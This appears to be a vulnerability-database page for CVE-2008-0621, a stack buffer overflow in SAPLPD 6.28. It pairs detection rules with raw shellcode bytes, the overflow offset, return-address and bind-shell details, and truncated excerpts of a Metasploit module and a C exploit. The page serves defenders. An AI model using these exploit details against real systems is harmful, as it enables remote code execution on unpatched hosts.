CVE-2008-0621
published 2008-02-06CVE-2008-0621: Buffer overflow in SAPLPD 6.28 and earlier included in SAP GUI 7.10 and SAPSprint before 1018 allows remote attackers to execute arbitrary code via long…
PriorityP265high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
73.36%
99.4th percentile
Buffer overflow in SAPLPD 6.28 and earlier included in SAP GUI 7.10 and SAPSprint before 1018 allows remote attackers to execute arbitrary code via long arguments to the (1) 0x01, (2) 0x02, (3) 0x03, (4) 0x04, and (5) 0x05 LPD commands.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sap | sapgui | — | — |
| sap | saplpd | <= 6.28 | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x02 followed by 484-byte buffer then ret address then \xe9 relative jump
bytes↗
\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x5f\x5e\xff\xe0
- →Detect exploit attempts by monitoring TCP port 515 (LPD) for connections sending a single-byte command (0x01–0x05) followed by a payload exceeding 484 bytes, which is the known overflow offset for SAPLPD 6.28. ↗
- →Alert on bind-shell connections originating from SAPLPD process on port 10282, which is the hardcoded bind port used by the public exploit's shellcode. ↗
- →The Metasploit module sends a buffer starting with byte 0x02 followed by 484 bytes of padding, encoded payload, a 4-byte return address, and a relative JMP; signature-match this pattern on LPD (TCP/515) traffic. ↗
- →Look for NOP sled patterns (0x90 repeated) of approximately 484 minus shellcode-length bytes on TCP/515 connections to SAPLPD, indicative of the stack overflow exploit. ↗
- →Monitor for the known JMP-to-shellcode stub bytes \xE9\x98\x08\x00\x00 appended after the return address in LPD traffic on port 515. ↗
- →The PrependEncoder stub \x81\xc4\xff\xef\xff\xff\x44 (stack pivot) is prepended to the Metasploit payload; scan for this byte sequence in LPD session data. ↗
- ·The overflow offset of 484 bytes and return addresses differ between the test build and the release build of SAPLPD 6.28; detections based on exact offsets must account for both variants. ↗
- ·The Metasploit module uses a StackAdjustment of -3500 and bad characters \x00\x0a; payloads avoiding these bytes will not match naive byte-pattern filters for null bytes or newlines. ↗
- ·The vulnerability affects SAPLPD 6.28 and earlier as shipped with SAP GUI 7.10 and SAPSprint before 1018; detections should cover all five LPD command bytes (0x01–0x05), not just 0x01 or 0x02. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
SapLPD 6.28 - Remote Buffer Overflow (Metasploit)
exploitdb·2010-05-09
CVE-2008-0621 SapLPD 6.28 - Remote Buffer Overflow (Metasploit)
SapLPD 6.28 - Remote Buffer Overflow (Metasploit)
---
##
# $Id: saplpd.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'SAP SAPLPD 6.28 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
By sending an overly long argument, an attacker may be able to execute arbitrary
code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2008-0621' ],
[ 'OSVDB', '41127' ],
[ 'BID', '27613' ],
],
Exploit-DB
SapLPD 6.28 (Windows x86) - Remote Buffer Overflow
exploitdb·2008-02-07
CVE-2008-0621 SapLPD 6.28 (Windows x86) - Remote Buffer Overflow
SapLPD 6.28 (Windows x86) - Remote Buffer Overflow
---
/*
http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060042.html
Exploit for SapLPD 6.28 Win32 by BackBone
Tested with SapLPD 6.28 on Windows XP SP2
Groetjes aan mijn sletjes Ops,Doop,Gabber,head,ps,sj,dd en de rest!
*/
#include
#include
#include
#pragma comment (lib,"ws2_32")
#define DEFAULT_PORT 515
char ASCII_SHIT[]=
"\r\n"
"\t\t ______ ______\r\n"
"\t\t (, / ) /) (, / )\r\n"
"\t\t /---( _ _ (/_ /---( _____ _\r\n"
"\t\t ) / ____)(_(_(__/(__) / ____)(_) / (__(/_\r\n"
"\t\t(_/ ( (_/ ( (c) 2008\r\n"
"\r\n";
struct
{
LPSTR lpVersion;
DWORD dwOffset;
DWORD dwRetAddr;
BYTE bLPDCmd;
}
targets[]=
{
// exploit works with cmd 0x01,0x02,0x03,...
{"SAPLPD Version 6.28 for Windows/NT (TEST)",484,0x0012F0A1,0x01}, // addr o
Metasploit
SAP SAPLPD 6.28 Buffer Overflow
metasploit
SAP SAPLPD 6.28 Buffer Overflow
SAP SAPLPD 6.28 Buffer Overflow
This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) . By sending an overly long argument, an attacker may be able to execute arbitrary code.
No writeups or analysis indexed.
http://secunia.com/advisories/28786http://secunia.com/advisories/28811http://securityreason.com/securityalert/3619http://www.securityfocus.com/archive/1/487508/100/0/threadedhttp://www.securityfocus.com/archive/1/487575/100/0/threadedhttp://www.securityfocus.com/bid/27613http://www.securitytracker.com/id?1019300http://www.vupen.com/english/advisories/2008/0409http://www.vupen.com/english/advisories/2008/0438https://www.exploit-db.com/exploits/5079http://secunia.com/advisories/28786http://secunia.com/advisories/28811http://securityreason.com/securityalert/3619http://www.securityfocus.com/archive/1/487508/100/0/threadedhttp://www.securityfocus.com/archive/1/487575/100/0/threadedhttp://www.securityfocus.com/bid/27613http://www.securitytracker.com/id?1019300http://www.vupen.com/english/advisories/2008/0409http://www.vupen.com/english/advisories/2008/0438https://www.exploit-db.com/exploits/5079
2008-02-06
Published